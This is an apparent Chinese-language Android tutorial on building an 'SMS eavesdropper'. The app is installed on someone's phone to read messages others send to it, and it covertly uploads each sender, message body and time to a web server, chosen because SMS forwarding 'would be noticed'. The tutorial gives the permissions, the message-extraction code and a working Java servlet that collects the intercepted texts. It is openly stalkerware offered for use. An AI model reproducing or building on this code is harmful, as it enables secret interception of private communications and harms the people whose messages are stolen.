一、短信竊聽器原理介紹
短信竊聽器的目的是竊聽某人發送的短信,比如我們在A的手機中安裝了此應用想要看B發送給A的短信;
而怎麼樣才能夠獲得短信息呢?如果通過短信方式發送給第三方,則會被看出來,因此我們可以通過網絡將消息發送給web服務器;
Android手機中的Messaging應用也只是一個普通的應用;
二、核心代碼
短信竊聽器客戶端核心代碼
在AndroidManifest.xml中添加權限:
- <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信權限 -->
- <uses-permission android:name="android.permission.INTERNET"/><!-- 網絡訪問權限 -->
(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");獲得短信數據
(2)byte[] pdu = (byte[])pdus[0];
(3)SmsMessage message = SmsMessage.createFromPdu(pdu);將字節數組封裝為SmsMessage
(4)String content = message.getMessageBody();獲得短信內容
(5)String date = new Date(message.getTimestampMillis()).toLocaleString();獲得短信時間
(6)String senderNumber = message.getOriginatingAddress();獲得發送方號碼
服務器端代碼只是接收參數並顯示;
三、短信竊聽器具體代碼
服務器端代碼
- package org.xiazdong.servlet;
-
- import java.io.IOException;
- import javax.servlet.ServletException;
- import javax.servlet.annotation.WebServlet;
- import javax.servlet.http.HttpServlet;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
-
- @WebServlet("/SMSServlet")
- public class SMSServlet extends HttpServlet {
- protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
- doPost(request, response);
- }
- protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
- request.setCharacterEncoding("utf-8");
- String sender = request.getParameter("sender");
- String body = request.getParameter("body");
- String time = request.getParameter("time");
- System.out.println("發送方:"+sender);
- System.out.println("發送內容:"+body);
- System.out.println("發送時間:"+time);
- }
- }